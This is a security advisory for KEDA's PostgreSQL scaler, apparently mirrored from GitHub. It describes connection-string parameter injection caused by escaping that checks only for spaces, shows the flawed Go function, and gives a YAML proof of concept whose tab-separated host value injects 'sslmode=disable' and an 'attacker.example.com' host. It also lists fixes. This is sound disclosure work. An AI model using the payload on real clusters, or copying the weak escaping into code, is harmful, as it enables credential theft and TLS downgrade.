GHSA-6W3M-4HHP-775Q
Vulnerability from github – Published: 2026-07-07 23:44 – Updated: 2026-07-07 23:44Summary
pkg/scalers/postgresql_scaler.go builds libpq-style connection strings by concatenating key=value pairs separated by spaces. Each tenant-controllable field (host, port, userName, dbName, sslmode) is passed through escapePostgreConnectionParameter:
func escapePostgreConnectionParameter(str string) string {
if !strings.Contains(str, " ") {
return str // returned as-is for any non-space whitespace
}
str = strings.ReplaceAll(str, "'", "\\'")
return fmt.Sprintf("'%s'", str)
}
The function only escapes when a literal space is present. Per libpq/pgx documentation, parameters are also separated by tabs, newlines, carriage returns, and form feeds, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like mydb\tsslmode=disable\thost=attacker.example.com splits into additional key=value tokens when parsed by pgx, injecting attacker-controlled connection parameters.
Vulnerable code
pkg/scalers/postgresql_scaler.go, lines 155–164 and 250–257.
Impact
Tenants with the ability to create a TriggerAuthentication or ScaledObject that populates any of host, port, userName, dbName, sslmode can:
- Force sslmode=disable on a connection that the cluster owner intended to be TLS-only — silently downgrading to plaintext and enabling on-path MitM.
- Redirect the connection to an attacker-controlled host (host=...) to steal the credentials the operator supplies via the password= keyword.
- Append arbitrary libpq runtime parameters (options=, application_name=, target_session_attrs=) to pivot behavior.
Note: the password parameter is appended last in buildConnArray, which limits but does not eliminate credential exfiltration — injected host= still redirects the subsequent password= keyword's target.
Proof of concept
triggers:
- type: postgresql
metadata:
host: "legit.db.svc\tsslmode=disable\thost=attacker.example.com"
port: "5432"
userName: "keda"
dbName: "metrics"
sslmode: "require"
query: "SELECT 1"
After escapePostgreConnectionParameter (no space → returned unchanged), the resulting connection string is parsed by pgx into parameters that include host=attacker.example.com and sslmode=disable.
Suggested fix
- Escape / reject any ASCII whitespace (
\t,\n,\r,\f,\v, space) and backslash. - Prefer the URI form (
postgres://user:pass@host:port/db?sslmode=require) with proper URL-encoding. - Validate each field against an allow-list pattern before use.
Resources
pkg/scalers/postgresql_scaler.go- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/kedacore/keda/v2"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2.20.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53572"
],
"database_specific": {
"cwe_ids": [
"CWE-74",
"CWE-89"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T23:44:13Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n`pkg/scalers/postgresql_scaler.go` builds libpq-style connection strings by concatenating `key=value` pairs separated by spaces. Each tenant-controllable field (`host`, `port`, `userName`, `dbName`, `sslmode`) is passed through `escapePostgreConnectionParameter`:\n```go\nfunc escapePostgreConnectionParameter(str string) string {\n if !strings.Contains(str, \" \") {\n return str // returned as-is for any non-space whitespace\n }\n str = strings.ReplaceAll(str, \"\u0027\", \"\\\\\u0027\")\n return fmt.Sprintf(\"\u0027%s\u0027\", str)\n}\n```\nThe function only escapes when a literal **space** is present. Per libpq/pgx documentation, parameters are also separated by **tabs, newlines, carriage returns, and form feeds**, and backslashes are parsed inside quoted strings. Because those characters are not detected, a tenant-supplied value like `mydb\\tsslmode=disable\\thost=attacker.example.com` splits into additional `key=value` tokens when parsed by pgx, injecting attacker-controlled connection parameters.\n\n### Vulnerable code\n`pkg/scalers/postgresql_scaler.go`, lines 155\u2013164 and 250\u2013257.\n\n### Impact\nTenants with the ability to create a `TriggerAuthentication` or `ScaledObject` that populates any of `host`, `port`, `userName`, `dbName`, `sslmode` can:\n- **Force `sslmode=disable`** on a connection that the cluster owner intended to be TLS-only \u2014 silently downgrading to plaintext and enabling on-path MitM.\n- **Redirect the connection to an attacker-controlled host** (`host=...`) to steal the credentials the operator supplies via the `password=` keyword.\n- Append arbitrary libpq runtime parameters (`options=`, `application_name=`, `target_session_attrs=`) to pivot behavior.\n\nNote: the password parameter is appended **last** in `buildConnArray`, which limits but does not eliminate credential exfiltration \u2014 injected `host=` still redirects the subsequent `password=` keyword\u0027s target.\n\n### Proof of concept\n```yaml\ntriggers:\n- type: postgresql\n metadata:\n host: \"legit.db.svc\\tsslmode=disable\\thost=attacker.example.com\"\n port: \"5432\"\n userName: \"keda\"\n dbName: \"metrics\"\n sslmode: \"require\"\n query: \"SELECT 1\"\n```\nAfter `escapePostgreConnectionParameter` (no space \u2192 returned unchanged), the resulting connection string is parsed by pgx into parameters that include `host=attacker.example.com` and `sslmode=disable`.\n\n### Suggested fix\n- Escape / reject any ASCII whitespace (`\\t`, `\\n`, `\\r`, `\\f`, `\\v`, space) and backslash.\n- Prefer the URI form (`postgres://user:pass@host:port/db?sslmode=require`) with proper URL-encoding.\n- Validate each field against an allow-list pattern before use.\n\n### Resources\n- `pkg/scalers/postgresql_scaler.go`\n- libpq connection string parsing: https://www.postgresql.org/docs/current/libpq-connect.html#LIBPQ-CONNSTRING",
"id": "GHSA-6w3m-4hhp-775q",
"modified": "2026-07-07T23:44:13Z",
"published": "2026-07-07T23:44:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/kedacore/keda/security/advisories/GHSA-6w3m-4hhp-775q"
},
{
"type": "PACKAGE",
"url": "https://github.com/kedacore/keda"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "KEDA has PostgreSQL connection string parameter injection via incomplete whitespace escaping"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.